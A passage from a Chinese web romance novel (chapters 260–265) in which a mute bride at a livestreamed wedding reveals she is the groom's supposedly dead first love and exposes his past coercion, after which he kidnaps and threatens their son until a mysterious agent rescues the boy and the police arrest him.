就在他挣扎着,想从轮椅上站起来,想去拥抱那个朝思暮想的身影时,一直沉默的女人,终于又开口了。 她的声音很轻,却异常清晰。 “萧玦,你再说一遍。” “你是不是,此生只爱我岑小柔一个,半点……也不爱朱七妹?” “是!”萧玦毫不犹豫,斩钉截铁地回答,“我爱的人只有你!永远都只有你!” 他终于得到了想要的答案。 门口的女人,静静地站着,仿佛在消化他这句话。 然后,在全场所有人的注视下,在无数镜头的聚焦中,她缓缓地,抬起手。 摘掉了头上那顶宽大的遮阳帽。 帽子落下,一张清秀倔强的脸庞,彻底暴露在灯光之下。 那不是什么死而复生的岑小柔。 那张脸,宾客中有人很快认了出来,赫然便是今天本该站在这里,却被他贬得一文不值的新娘子—— 哑女,朱七妹! 第260章 当年是假死 整个世界,仿佛被按下了静音键。 时间在这一刻凝固,所有的声音、光线、呼吸,都聚焦于大门口那张摘下帽子的脸。 死寂只持续了三秒,随即,整个宴会厅如同被投入巨石的湖面,轰然炸开。 “不是岑小柔!我见过她的照片,根本不是这张脸!” “对啊,岑小柔是那种明艳挂的大美人,这个……顶多算清秀。” “可那声音……还有,她不是哑巴吗?怎么会说话?” “我的天,这到底是怎么回事?替身不是替身,死人不是死人,哑巴不是哑巴……” 议论声浪潮般席卷全场,媒体的闪光灯几乎要将天花板闪穿,直播间的弹幕更是彻底疯狂,服务器几近瘫痪。 宾客席一角,罗小胖的嘴巴张得能塞进一个鸡蛋,他结结巴巴地转向秦绵绵:“掌……掌柜的,七妹姐她……她她她……这……这什么情况啊?!” 李一鸣和叶子舟兄妹也早已懵了,齐刷刷地看向秦绵绵,满脸都是求知。 唯有秦绵绵,依旧端坐着。她甚至没有看台上那出惊天大戏,只是垂眸,用指尖轻轻摩挲着温热的茶杯边缘,唇角勾起一抹无人察觉的弧度。 她知道,这才是朱七妹准备的,真正的“嫁妆”。 一份,足以将萧玦彻底埋葬的嫁妆。 距离朱七妹几步之遥的地方,萧玦的身体僵直如铁。 他死死地盯着朱七妹的脸,那张脸,的的确确是朱七妹的脸,可那双眼睛,那双此刻盛满了破碎星光的眼睛,却和记忆深处某个影子隐隐重合。 震惊、狂喜、被欺骗的愤怒、失而复得的茫然……无数种情绪在他胸膛里冲撞,最后尽数化为一股森然的戾气,从他周身弥漫开来。 “保护老板!” 训练有素的保镖们瞬间反应过来,再次将他团团护住,黑洞洞的武器对准了周围所有的人,大厅里的气氛一时绷紧到了极点。 所有人都屏住了呼吸,等待着这位京圈太子爷的雷霆之怒。 许久,萧玦终于动了。 他没有嘶吼,也没有暴怒,反而缓缓地,将轮椅朝向朱七妹又走了一点,那双布满血丝的眼睛里,翻涌着一种近乎扭曲的了然。 “原来是这样。” 他开口,声音沙哑得像是砂纸在摩擦,“你没死。岑小柔,你当年是假死。” 他盯着她,像是在审视一件失而复得却又变得面目全非的物品。 “你换了张脸,装成哑巴,潜伏到我身边……生下我的孩子。”他一字一顿,每个字都淬着冰,“告诉我,你的意图是什么?报复我?还是想用这种方式,回到我身边?” 他的话,为现场所有混乱的猜测,定下了一个最合乎逻辑、也最富戏剧性的基调——死去的白月光,改头换面,忍辱负重,带球归来。 朱七妹听着他的质问,脸上没有愤怒,也没有辩解。 她只是凄然一笑,一滴清泪毫无征兆地从眼角滑落,划过苍白的脸颊。她抬手,轻轻拂去,却什么话也没说。 这无声的哀戚,比任何辩解都更引人遐想。 “她真的是岑小柔……” “天哪,这是什么绝世虐恋,为了回到爱人身边,不惜整容装哑巴……” 萧玦却被她这副模样彻底激怒,他要的不是眼泪,是答案。 他猛地提高了音量,眼神锐利如刀,“你的脸可以换,但你的声音,我萧玦听了一辈子,至死都不会忘。你根本不是什么哑巴朱七妹,你就是岑小柔!” 他像是抓住了最后的救命稻草,厉声对身后的手下命令:“去查!立刻给我查!查她这几年所有的就医记录,我要看她的整容报告!” 然而,他的话音未落,朱七妹却终于开口了。 她的声音不大,却清晰地压过了全场的嘈杂。 “不用查了。” 她静静地看着他,眼神里带着一种他看不懂的悲悯。 “我确实整了容。” 此话一出,众人哗然,几乎所有人都认定了,萧玦的猜测就是真相。 ……死去的白月光为了复仇,整容之后再次潜伏到了京圈太子爷身边,带着不为人知的秘密,成为替身。 可下一秒,朱七妹话锋一转,那清冷的声音,宛如一把最锋利的冰锥,狠狠刺向萧玦的心脏。 “但是,萧玦,你搞错了一件事。” “当初的岑小柔,确实已经死了。” 她顿了顿,迎着他骤然收缩的瞳孔,一字一句,清晰而残忍地说道: “是被你,亲手逼死的。不是吗?” “你胡说!”萧玦脸色剧变,下意识地就要厉声呵斥,试图用暴怒掩盖那瞬间蹿升的心虚。 可他的话,却被一个突兀的电子音打断了。 “滋——” 宴会厅后方,那块本该循环播放新人甜蜜婚纱照的巨大LED屏幕,突然闪烁了一下,画面切换。 出现的,不是任何照片,而是一份扫描得极其清晰的股权强制转让协议。 甲方,是岑氏集团,而乙方签字落款处,那龙飞凤舞的“萧玦”二字,嚣张得刺眼。 紧接着,画面再转。 一段音频被播放出来,背景嘈杂,像是在一间办公室里。 一个年轻却冷酷无比的声音响起,正是多年前的萧玦: “岑老先生,我再说最后一遍。要么,把小柔给我,要么,我让你们岑家在京城……彻底消失。” 音频落下,屏幕上接连不断地弹出新的证据。 岑家的公司被恶意做空,负债累累的新闻截图。 法院封存岑家老宅时,岑父岑母一夜白头、形容枯槁的照片。 岑家被彻底赶出京城的画面。 岑家父母和长辈接连生病死亡的情形。 …… 最后,画面定格在一份泛黄的病历上。 就诊人:岑小柔。 诊断结果:重度抑郁,急性应激障碍。 而入院原因一栏,一行手写的钢笔字,触目惊心—— “因追求者长期存在的精神胁迫与家族逼迫,产生重度厌世情绪,于家中尝试割腕。” 这份泛黄的病历,像一记无声的耳光,狠狠扇在萧玦的脸上。 第261章 他输了 屏幕的光映着他惨白如纸的面容,那双嗜血的眼睛里,风暴在凝聚。 “好了!”他终于从极致的震惊中挣脱,发出一声嘶哑的咆哮,“别说了!有什么事,我们回去说!” 他试图用命令来挽回那早已崩塌的体面。 朱七妹却笑了,那笑声,比哭声更悲凉,在这死寂的宴会厅里,清晰得刺耳。 “回去说?”她重复着这三个字,像是在品味一个天大的笑话,“萧先生,你当着全网的面,说我是个替身,说我的孩子你根本不在乎。现在,你又想把这一切都藏起来,关上门,‘回去说’?” 她的目光缓缓扫过全场,扫过那些惊恐又好奇的脸,扫过无数仍在疯狂闪烁的镜头。 “你怕了?”她向前走了一步,那素净的白色连衣裙,在此刻仿佛成了一件审判的白袍,“你怕在场的人知道你的真面目?怕屏幕前那些人,看清你萧家太子爷光鲜外皮下,是怎样的腐烂与肮脏?” 她的声音陡然转厉,字字如刀:“萧玦,你不是喜欢让人消失吗?来啊!你有本事,就把今天在场的所有人,都逼死!把全网看直播的人,眼珠子都挖出来!就像你当年,逼死岑家一样!” 这番话,如同一道惊雷,将在场所有人的记忆拉回了几分钟前。 他刚刚,就是用这样的话,威胁秦绵绵的。 贴身仆从见状,立刻凑到萧玦耳边:“老板,直播停掉?” 萧玦的身子猛地一僵,眼底那片疯狂的血色,竟在瞬间褪去了大半,只剩下一种深可见骨的颓然和灰败。 他缓缓地,摇了摇头。 “……来不及了。” 三个字,轻飘飘的,却耗尽了他全身的力气。他像是被抽走了脊骨,颓然地靠回了轮椅背。 是啊,来不及了。 这场他亲手操办的世纪婚礼,这场他要昭告天下的盛典,已经成了他此生最大的笑话,一场无法收场的公开处刑。 看到他这副模样,朱七妹眼底没有丝毫快意,只有一片冰冷的死寂。 “萧玦,这才只是开始。” 她的话音落下,身后的大屏幕再次切换。 一张模糊的国外机票,一张伪造的死亡证明。 “岑小柔的确死了。”她平静地叙述,仿佛在说别人的故事,“那场自杀,是真的,也是假的。我用一场假死,逃离了你这个魔鬼,逃出了国。连姚祁都不知道,他每年去祭拜的那个墓里,其实只是一口空棺。” “我本想在国外了此残生,再也不回来。” 屏幕画面一转,变成了一张触目惊心的车祸现场照片,扭曲变形的轿车,满地狼藉。 “可一场车祸,让我忘了自己是谁,也让我……忘了该怎么说话。” 全场死寂,宾客们大气都不敢出,只剩下此起彼伏的倒抽冷气声。 失忆,失语……原来,哑女的身份,竟是这么来的! “冥冥之中,好像有什么东西在指引我,让我回国。”朱七妹的视线,终于又落回了萧玦身上,那眼神里,带着一种宿命般的嘲弄,“然后,我又遇见了你。” “你在看到我第一眼,就认定了我,要把我禁锢在你的身边,用尽了各种巧取豪夺的办法,最后你成功了。” “所有人都说,我不像她,一点都不像那个明艳张扬的岑小柔。” “可你还是把我留下了,让我做了你身边最久的一个‘替身’。” “你性情乖戾,阴晴不定,我们就那样互相折磨。”她的声音没有起伏,却让听的人不寒而栗,“直到有一次,你新找来的那个情人,把我从楼梯上推了下去。” “我摔在地上,撞到了头。” “那一刻,我想起来了。” “萧玦,我想起了一切。想起我是谁,想起你是怎么逼死我的家人,想起你是怎么毁了我的一生。” 这段孽缘的真相,终于被血淋淋地剖开。 “我跑了。”她继续道,“我只想离你越远越好。可我没想到,肚子里……已经有了小宝。” “我的体质特殊,医生说,拿掉他,我也会死。我只能生下他,带着他在海城,在青塔湖景区安家。我没有别的想法,只想隐居下来,只想带着小宝,安安静静地过完这辈子。” 故事讲完了。 宴会厅里,静得能听见彼此的心跳声。 朱七妹讲完了她这颠沛流离、匪夷所思的前半生。 她就那么静静地站着,看着那个彻底被击垮的男人。 “我给过你机会,萧玦。”她的声音很轻,却带着千钧之重,“在客栈,你找到我们母子的时候,你若肯放手,今天这一切,都不会发生。” “是你,是你一步一步,把我逼到了这里。” “是你,非要办这场婚礼,非要把我推到所有人面前……” 大厅里,死一样的寂静。 那块巨大的LED屏幕还亮着,泛黄的病历定格在那,像一张给萧玦下的死亡判决书。 所有人都懵了,脑子里一片空白,被这堪比惊涛骇浪的真相冲击得失去了思考能力。 萧玦彻底僵住了。 他的人生,他的爱情,他引以为傲的偏执和深情,在这一刻,被撕成了一场彻头彻尾的、荒诞的闹剧。 他以为的失而复得,是他亲手推开的。 他以为的卑微替身,是他疯魔半生的执念。 何其可笑。 朱七妹看着他那副失魂落魄的样子,唇角勾起一抹讥诮的弧度。 “萧玦,你闹了这么大一场,当着全海城的面,连自己真正要娶的人是谁,都没弄清楚。” 她轻笑一声,那笑声,像羽毛,轻轻搔刮着在场每一个人的耳膜,却又像重锤,狠狠砸在萧玦的心上。 “你说,你这场世纪婚礼,是不是……全天下最大的笑话?” 不用去看,萧玦也知道,网上的舆论早已炸成了什么样子。 他完了。 全盘皆输。 他不仅没能留住那个他以为死而复生的白月光,还亲手,将那个为他生下孩子的女人,当着全世界的面,贬斥得一文不值,彻底抛弃。 第262章 就这么走了 朱七妹说完,再也不看他一眼,那双清冷的眸子最后扫过人群里秦绵绵的方向,微微颔首,而后,毅然转身。 她要走了。 这个动作,像一根针,猛地刺醒了那个濒临崩溃的男人。 “别走!” 萧玦嘶吼出声,双手死死抓住轮椅扶手,手背青筋暴起,他想站起来,可双腿却使不上一丝力气。 “小柔……不,七妹……你别走!”他语无伦次,连称呼都变得混乱,“我们谈谈!你给我一个机会,我们重新开始……” 朱七妹的脚步没有丝毫停顿。 “萧玦,缘分已尽。”她的背影决绝而冷漠,“看在小宝的份上,我希望你我从此以后,各自安好,再不相干。” “我不准!” 这三个字,几乎是从萧玦的牙缝里挤出来的。 他眼底的灰败被重新燃起的疯狂取代,那股熟悉的、毁天灭地的暴戾之气再次席卷全场。 “你敢走出这扇门!”他面目狰狞,状若疯魔,用尽全身力气嘶吼,“我今天就让这里所有的人,都给你陪葬!” 他的手下得到指令,瞬间举起了手中的武器,黑洞洞的枪口再次对准了满堂宾客。 恐慌,尖叫,骚动。 宴会厅瞬间大乱。 就在这千钧一发之际,一道慵懒中透着几分冷意的声音,不大,却清晰地压过了所有的嘈杂。 “萧先生,好大的威风。” 众人循声望去。 只见宾客席一角,从始至终都安静得像个局外人的秦绵绵,缓缓站起了身。 她理了理裙摆上不存在的褶皱,目光甚至都没落在萧玦身上,而是环视了一圈那些被吓得瑟瑟发抖的名流,唇角一勾。 “只是……” 她的视线,终于慢悠悠地,落在了那个坐在轮椅上,气焰滔天的男人身上,眼神里带着一丝玩味和毫不掩饰的轻蔑。 “在海城的地界上,谁给你的胆子,这么撒野?” 话音落下的瞬间,秦绵绵轻轻抬手,打了个响指。 “砰——” 宴会厅那两扇沉重的雕花大门,被人从外面一脚踹开。 数十个身着黑色西装、神情冷肃的男人,如潮水般涌了进来。 为首的,正是盛意。 他们的人数,是萧玦手下的三倍不止,行动间悄无声息,却带着一股铁血的煞气。 几乎是在眨眼之间,萧玦那些训练有素的保镖,便被悉数缴械,冰冷的武器干脆利落地抵上了他们的后脑。 形势,瞬间逆转。 盛意走到秦绵绵身边,微微躬身:“秦小姐。” 萧玦瞳孔骤缩,死死地盯着秦绵绵。 秦绵绵笑了笑,这才迈开步子,一步一步,闲庭信步般,走到了萧玦的面前。 她居高临下地看着他: “萧玦,现在,你还想让谁给你陪葬?” 空气,仿佛凝固的铅块,沉甸甸地压在每个人的心头。 萧玦坐在轮椅上,像一尊即将崩裂的石像,死死地瞪着秦绵绵,那眼神是淬了毒的刀,恨不得将她凌迟。 贴身仆从浑身紧张,冷汗已经浸透了后背,他俯下身,用只有两个人能听见的声音低声劝道: “老板,再待下去,只怕无法收场。” 萧玦面容冷得像冰。 他当然知道要走。可他这一走,就代表着他认输了。 当着全海城名流的面,当着全网的面,当着这个他从未放在眼里的秦绵绵的面,狼狈退场。 许久,他眼中的疯狂渐渐隐去,沉淀为一片死寂的、深不见底的怨毒。 他缓缓抬起手,一个动作,他的人便被盛意的手下押着,退到了一旁。 萧玦最后深深地看了一眼背影决绝的朱七妹,又将目光转向秦绵绵,那眼神仿佛在说:今天这笔账,我记下了。 而后,他转动轮椅,在一众手下的簇拥下,一言不发地,离开了装饰的金碧辉煌的婚礼大厅。 他一走,大厅里那根紧绷到极致的弦,彻底断了。 “天呐!萧玦就这么走了?” “姓秦的丫头还是可以啊,连京圈太子爷都敢硬刚!” “快快快!头条!世纪婚礼变世纪丑闻!白月光替身竟是同一个人!” 整个宴会厅,彻底炸了锅。 媒体记者像闻到血腥味的鲨鱼,瞬间苏醒,扛着长枪短炮就要朝朱七妹和秦绵绵围过来。 秦绵绵却连眼皮都没抬一下。 “走。”她只说了一个字。 盛意会意,立刻带着人,在混乱的人群中硬生生辟出一条通道,护着秦绵绵、朱七妹和早已吓傻的罗小胖等人,迅速从侧门撤离。 …… 青塔湖景区,如意客栈。 车子在客栈门口停下,海城夜晚的湖风带着微凉的湿意,吹散了些许从宴会厅里带来的窒闷。 可谁也没想到,迎接他们的,不是往日的宁静。 客栈大门虚掩着,门轴处有明显被外力破坏的痕迹。 秦绵绵心里咯噔一下,率先推门而入。 大堂里一片狼藉,原本摆放整齐的桌椅东倒西歪,满地狼藉。 而长桌旁边,一个人影趴在地上,一动不动。 “赵叔!”秦绵绵脸色一变,快步冲了过去。 众人跟进门,看到眼前景象,无不倒抽一口凉气。 只见赵立生趴在冰凉的石板上,后脑勺沁出的血,已经染红了一片地面。 秦绵绵迅速蹲下,手指探上他的颈动脉,还好,还有搏动。 她不敢随意挪动,立刻从随身的小包里取出银针,稳准地刺入他头部的几个穴位,先止了血。 朱七妹的脸,在看到赵立生倒地的那一刻,已经白得没有一丝血色。 她嘴唇哆嗦着,一个字都说不出来,疯了似的就要往后院小宝的房间冲。 李一鸣眼疾手快,一把拉住了她:“七妹姐!你冷静点!” “小宝……我的小宝……”朱七妹像是没听到,拼命挣扎。 几分钟后,赵立生悠悠转醒,他看着围在身边的众人,眼神涣散,随即像是想起了什么,猛地坐起来,一把抓住秦绵绵的胳膊。 “小秦丫头……小宝他……”赵立生四十多岁的汉子,此刻竟急得哭了出来,“我对不住你的交代啊!我没看好孩子!” 第263章 峰回路转 他本来在客栈里守着睡着的朱小宝,从手机上看着婚礼直播,眼看事情不对,他心里就发慌,想着赶紧把孩子带走,找个地方藏起来。 可他刚抱起熟睡的小宝,客栈的门就被人一脚踹开。 一群黑衣人冲了进来,二话不说就抢孩子。 他拼死阻拦,却被人从后脑勺狠狠来了一下,当场就晕了过去。 听完赵立生断断续续的讲述,朱七妹只觉得天旋地转,整个人晃了晃,直直地向后倒去。 是秦绵绵扶住了她。 朱七妹抓住秦绵绵的衣袖,像是抓住了最后一根救命稻草,那双刚刚在宴会厅里还闪烁着复仇冷光的眸子,此刻只剩下无尽的恐惧和哀求。 “他把小宝带走了……他还是不肯放过我……”她喃喃自语,神情渐渐变得癫狂,“他不让我好过,我也不让他好过!大不了……大不了就同归于尽!” “不许胡说。”秦绵绵低喝一声,扶着她在旁边的椅子上坐下,“你现在乱了,正中他的下怀。” 就在这时。 “嗡嗡——嗡嗡——”一阵刺耳的手机震动声,在死寂的大堂里突兀地响起。 是朱七妹的手机。 屏幕上跳动的,是一个视频通话请求。 来电显示:萧玦。 朱七妹看了秦绵绵一眼,颤抖着,按下了接通键。 萧玦那张俊美却扭曲的脸,出现在屏幕上。 视频的背景,像是一间酒店的豪华套房。 他没有说话,只是将镜头缓缓下移。 画面里,朱小宝小小的身子正站在墙角,他没哭,只是睁着一双酷似萧玦的眼睛,倔强地看着镜头,眼眶里包着一汪将落未落的泪。 他身上那件出门前朱七妹亲手给他换上的小睡衣,被扯得歪歪扭扭。 萧玦阴冷的声音,从听筒里传来,带着一种病态的温柔。 “你看,他很乖,不哭不闹。”他笑着,可那笑意不达眼底。 说着,他将镜头转回自己的脸,那双布满血丝的眼睛,透过屏幕,死死地锁住朱七妹。 “七妹,你回来。” “回到我身边,我们就当今天什么都没发生过。”他的声音很轻,却带着不容置喙的命令,“否则……” 他话锋一转,镜头再次对准了朱小宝。 只见他端起一杯热茶水,当着朱七妹的面,将滚烫的水,从孩子的头顶,一点一点,缓缓地浇了下去。 孩子一下子被烫到,顿时一个哆嗦。 热茶浸湿了头发,顺着孩子稚嫩的脸颊往下流。 小宝终于忍不住,身子一抖,“哇”地一声,哭了出来。 “妈妈……”孩子的哭声像一把最钝的刀,一刀一刀,凌迟着朱七妹的心。她浑身都在发抖。 “萧玦!你不是人!小宝是你的亲生儿子!” “是,我不是人。”萧玦在视频那头低低地笑了起来,笑声里满是疯狂和偏执,“是你把我变成这样的。我再问你最后一遍。” 他凑近镜头,一字一顿,像是地狱来的魔鬼,发出最后的通牒: “你,回不回来?” 视频通话的屏幕,像一扇通往地狱的窗,映着朱七妹惨无人色的脸。 秦绵绵面沉如水,视线在朱七妹颤抖的肩头和屏幕上萧玦那张癫狂的脸上来回一扫,对着旁边的盛意,极轻地递了个眼色。 盛意心领神会,悄无声息地退后半步,拿出手机,手指飞快地在屏幕上操作。 追踪定位。 可下一秒,视频那头的萧玦,像是背后长了眼睛,忽然对着镜头,扯出一个诡异的笑。 “秦小姐,省省力气吧。”他的目光穿透屏幕,精准地落在了秦绵绵的身上,“你猜,我敢把小宝带过来,会不做点准备吗?” 他慢条斯理地调整了一下镜头,让背景里一扇紧闭的合金门露出一角。 “这里,信号全屏蔽。你那个姓盛的跟班,就算把海城翻个底朝天,也找不到我。” 他嘴角的笑意愈发阴冷,带着嗜血的快意,“不过,我倒是很欢迎他来找。上一次,让他跑了,是我疏忽。这一次,我保证……他有来,无回。” 秦绵绵的眸色,瞬间冷了下去。 “我去。”朱七妹猛地站起身,声音嘶哑,却带着一种破釜沉舟的决绝,“这是我和他之间的事,不能再连累你们了。” 她看着秦绵绵:“掌柜的,你帮我们的够多了。他是冲我来的,小宝需要我,我不能把他一个人丢在那。” “你去了就是自投罗网!”众人都急道。 朱七妹却摇了摇头,脸上竟浮现出一丝惨淡的笑意。 “我知道。” 视频那头,萧玦似乎对这边的对话很满意,他张狂地笑了起来,那笑声,像淬了毒的玻璃碴子。 “七妹,你终于开始学乖了。”他话锋一转,声音陡然变得阴戾,“可我,耐心不太好。” 他抬手,不知从哪拿来一个造型古怪的金属支架,架在朱小宝的头顶。 支架上,悬着一个盛满了不明液体的玻璃杯,杯沿系着一根细线,线的另一头,连着一个电子计时器。 鲜红的数字,在屏幕上跳动着: 01:00:00。 00:59:59。 00:59:58。 “这是我给你准备的惊喜。”萧玦的声音轻柔得像魔鬼的私语,“一个小时后,你如果不到,这杯不知道是什么东西的液体,我可不敢保证会不会吞掉……我们的孩子。” “可能是硫酸,也可能是别的什么……你说,小宝这张脸,要是花了,还会不会像我?” “不——!”朱七妹崩溃尖叫,疯了一样就要往外冲。 所有人都被这丧心病狂的举动惊得魂飞魄散。 就在这千钧一发之际。 视频画面,突然毫无征兆地,黑了。 紧接着,听筒里传来一阵电流的“滋啦”声,和几声沉闷的、重物倒地的声音。 死寂。 不过两三秒。 屏幕,又亮了。 光线柔和的套房里,萧玦歪在轮椅里,双目紧闭,人事不省。 他那些黑衣手下,横七竖八地倒了一地。 镜头前,出现了一张脸。 那是一张美得极具攻击性的脸,眼波流转,风情万种,一头海藻般的长卷发随意地披在肩上,红唇边噙着一抹若有若无的笑意。 她对着镜头,有些无聊地撩了撩垂到脸颊的一缕头发。 “搞定。” 第264章 神秘的身份 众人同时瞪大眼睛。 这个人是…… 罗小胖看着屏幕上那张熟悉的脸,眼珠子都快瞪出来了,他结结巴巴: “……妈?!” 众人皆惊。 这风华绝代的女人,就是罗小胖的母亲。 就是据说很久之前就抛夫弃子,消失了很多年的那位。 也是前段时间因为京城的事情专门过来海城,和罗父一起把罗小胖骗回京城的那位。 虽然相处时间不长,但是罗母的风华绝代,都曾给众人留下深刻印象。 罗母在镜头那头听见罗小胖的声音,挑了挑描画精致的眉,语气里带上了几分嫌弃。 她看了一眼地上昏迷不醒的朱小宝: “行了,别嚎了。海城湾,1号游艇会所,顶层。过来接人。” 说完,她便干脆利落地挂断了视频。 …… 海城湾1号游艇会所,是海城最顶级的私人会所。 然而此刻,会所门口却不复往日的奢华静谧,数辆警车的红蓝警灯无声闪烁,将周围镀上了一层冷峻的光。 车刚停稳,朱七妹就第一个冲了下去。 秦绵绵等人紧随其后。 只见会所门口,一排穿着制服的警察拉起了警戒线,气氛严肃。 而萧玦,正被两个警察从里面押出来。 他依旧坐在轮椅上,头发凌乱,脸色灰败,再无半点之前的嚣张气焰,像一只斗败了的公鸡。 他那些手下,也一个个垂头丧气,被悉数押上警车。 经过秦绵绵身边时,萧玦的脚步顿了顿,他抬起头,那双死寂的眸子,阴狠地剜了她一眼。 秦绵绵神色未动,连眼波都懒得分给他一丝。 萧玦最终被警察不耐烦地推搡着,塞进了车里。 警车呼啸而去。 一个身穿警监制服的中年男人走了过来,看到人群中的秦绵绵,先是一愣,随即目光落在了旁边的罗小胖身上,脸上露出了几分熟稔的客气。 “这不是罗大公子吗?”他主动伸出手,“我们刚接到报案,说这里有恶性绑架事件,没想到……” 他话没说完,但意思很明显。 李一鸣在旁边小声嘀咕:“这市局出警够快的啊……” 那警监闻言,压低声音道,“罗厅长的面子我们肯定要给,但这次,我们是接到了上面的直接指令,军用级别的加密线路,直接打到我们局长办公室的。” 他眼神里带着几分后怕和敬畏,“指令只有一句话:一号会所顶层,有危害国家安全的特级情报人员在执行任务,让我们地方全力配合,封锁清场。” 众人听得云里雾里。 旁边两个年轻警察在交头接耳,声音虽小,却清晰地飘了过来。 “乖乖,我刚查了下系统,才知道那位是谁……档案是SSS级加密,只有个代号,根本看不到名字。” “别说了!保密条例忘了?我只知道,别说市局了,就是罗厅长见了她,估计都得恭恭敬敬喊一声‘首长’。” “首长?” 这两个字,像一颗炸雷,在众人耳边轰然炸响。 所有人的目光,“唰”的一下,全都聚焦在了罗小胖身上。 罗小胖被看得浑身发毛,下意识地后退一步,结结巴巴地问:“你……你们……都看我干嘛?” 李一鸣一把搂住他的脖子,使劲晃了晃,语气里满是不可思议:“好你个胖子!藏得够深啊!你妈是……是首长?那你是什么?太子爷?” “我不知道啊!” 罗小胖沉着脸,有点不自在地别过头去。 他挣开李一鸣,脸上第一次没了往日的嬉皮笑脸,取而代之的是一种混杂着茫然和苦涩的复杂神情。 他幼年时,那个女人就走了,从此杳无音信。 在他的记忆里,母亲这个词,只是一个模糊又美丽,却无比遥远的影子。 这么多年,他们一次面也没见过,她甚至都没给他打过哪怕一个电话。 他知道她很厉害,很了不起,哪怕已经跟父亲离婚多年了,也一直都是父亲心里的白月光。 ——父亲虽然也见不到他,但这么多年都没再娶,只因心里始终只有她一个人。 可是作为她的儿子,他却根本不知道她到底是做什么的。 不多时,罗母结束了警察的问询,款款朝众人走来。 罗小胖像被人踩了尾巴一样,转头就先往车里钻进去。 …… 一行人赶到医院时,天都快黑了。 朱小宝经过检查,身体并无大碍,只是受了惊吓,加上之前高烧未愈,整个人恹恹的,被安排住进了VIP病房观察。 朱七妹抱着失而复得的儿子,寸步不离,苍白的脸上终于有了一丝活人的血色。 叶子舟和叶子雯兄妹俩跑前跑后,安顿好一切,便留下来陪着她。 另一间病房里,赵立生后脑勺缝了针,缠着厚厚的纱布,也住了院。 李一鸣自告奋勇留下来照看。 临分开前,一行人站在医院走廊上,气氛有些微妙。 李一鸣搓了搓手,眼神不住地往那位风华绝代的罗阿姨身上瞟,最后还是没忍住,凑上前去,嘿嘿一笑: “那个……阿姨,您这次来海城,是……打算待多久啊?” 罗母瞥了他一眼,那眼神很淡,没什么情绪,却让李一鸣后面的话都卡在了喉咙里。 “有事?”她红唇轻启,吐出两个字。 “没、没事!就是好奇!”李一鸣连忙摆手,又忍不住把心里的疑惑问了出来,“阿姨,您是……做什么工作的呀?还有,萧玦那帮人,可都带着家伙呢,您是怎么……” 他比划了一下,满脸都是崇拜和羡慕。 罗母闻言,嘴角勾起一抹似笑非笑的弧度,她抬手理了理耳边的一缕卷发,语气懒洋洋的,像在谈论今天天气如何。 “哦,用了一点私人订制的小玩意儿。”她轻描淡写地忽略了前面的那个问题,“高频脉冲,定向瘫痪神经系统……没什么大不了的。” 李一鸣听得眼睛都直了。 高频脉冲?定向瘫痪?这听起来怎么跟科幻电影里的东西似的! 他看着罗母那张美得不像话的脸,再联想刚才警察口中的“首长”,只觉得这位阿姨浑身上下都笼罩着一层神秘又强悍的光环,让他羡慕得口水都快流下来了。 …… 第265章 陈年旧事 回到如意客栈时,大堂的狼藉已经被盛意派来的人收拾干净。 只是空气里,似乎还残留着之前的血腥和恐慌。 罗母一进门,便径直上了楼上客房,只留下一句: “我累了,休息一下。” 她的背影窈窕,却透着一股生人勿近的距离感。 秦绵绵看着她的背影,又看了看旁边站着的罗小胖,他低着头,看不清表情,整个人蔫蔫的。 秦绵绵没说话,转身去收拾被砸坏的柜台。 罗小胖在原地站了一会儿,一声不吭地钻进了厨房。 不多时,厨房里便飘出了浓郁的饭菜香气。 一碗热气腾腾的菌菇鸡汤,一碟清炒的本地时蔬,还有一盘金黄喷香的葱油饼。都是些家常菜,却做得格外用心。 罗小胖端着托盘,走到厨房门口,却停住了脚步。 他踌躇着,脸上是少见的局促和挣扎,最后,他端着托盘走到秦绵绵面前,把东西往她手边一推。 “掌柜的,你……你帮我送上去吧。” 秦绵绵抬眼看他。 “在京城的这些天,跟她……处得不好?” 罗小胖的脸色瞬间冷了下去,他扭过头,避开秦绵绵的视线,语气里透着一股子凉意和自嘲。 “处?我被关在家里,大门都出不去,跟个犯人一样。”他冷笑一声,“我有什么心思跟她说话。” 那所谓的接回家不过是囚禁罢了。 秦绵绵心里了然,不再多问。 她点了点头,伸手接过托盘。 “好。” 说完,她便端着饭菜上楼去给罗母送去了。 二楼的客房门虚掩着,秦绵绵端着托盘,抬手轻叩了两下。 “进。” 秦绵绵推门而入,罗母正站在窗前,眺望着远处的青塔湖夜色,只留给她一个玲珑有致的背影。 听见脚步声,她转过身来,目光在秦绵绵手里的托盘上扫过。 “小胖做的。”秦绵绵将托盘放在桌上,语气平淡,“怕您饿了。” 罗母走到桌边,拉开椅子坐下,仪态优雅地拿起筷子,却没有动,只是看着那碗冒着热气的鸡汤,眼神里有些不明的情绪在流转。 “他倒是有心了。”半晌,她才开口,声音听不出喜怒。 秦绵绵没有接话。 “秦小姐,”罗母忽然抬眼看她,那双风情万种的眸子,此刻却锐利如刀,“你这个客栈,倒是卧虎藏龙。” 秦绵绵唇角微弯,不置可否:“开门做生意,来的都是客。” 罗母深深地看了她一眼,不再多言,低头,慢慢地喝了一口汤。 秦绵绵转身,悄无声息地退了出去,轻轻带上了房门。 …… 楼下大堂,罗小胖还僵在原地。 他胖胖的身子,在空旷的大堂里,显得有些孤单。 秦绵绵走下楼梯,没有出声打扰他,只是走到柜台后,继续整理着那些被翻乱的账本。 空气里,只剩下纸张翻动的沙沙声。 这寂静,像一根针,扎破了罗小胖紧绷了二十年的记忆气球。 思绪,不受控制地倒流回那个同样寂静的、改变了他一生的黄昏。 那年他八岁。 记忆里,他的家很大,也很冷。 父亲总是很忙,而母亲,那个漂亮得像画里走出来的女人,却比父亲更忙。 他们很少说话。 直到有一天,争吵毫无征兆地爆发。 书房的门没关严,父亲咆哮的声音像惊雷一样砸出来: “你走!现在就走!在你心里,工作比什么都重要,比丈夫儿子都重要!你踏出这个家门,走了就不要回来!” “走就走!” 年幼的罗小胖听到“走”这个字,吓得魂飞魄散,他跌跌撞撞地冲进书房,先是抱住母亲的腿,哭着喊:“妈妈,你别走……” 又跑过去拽父亲的衣角,哀求道:“爸爸,你别让妈妈走……” 他的父亲,那个在他眼里威严如山的男人,一把将他甩开,力道大得让他一屁股坐在地上。 “大人的事,小孩子滚开!”男人的脸上满是暴躁和不耐。 那一刻,母亲的脸色白得像纸,她走过来将他扶起,什么都没说。 那一天,她最终没有走。 可家里的气氛,却冷到了冰点。 罗小胖在那样的压抑里,小心翼翼地过了几天。 然后,一个寻常的午后,一直严厉禁止他碰电脑的母亲,忽然指了指书房里那台崭新的电脑,脸上带着他看不懂的温柔笑意。 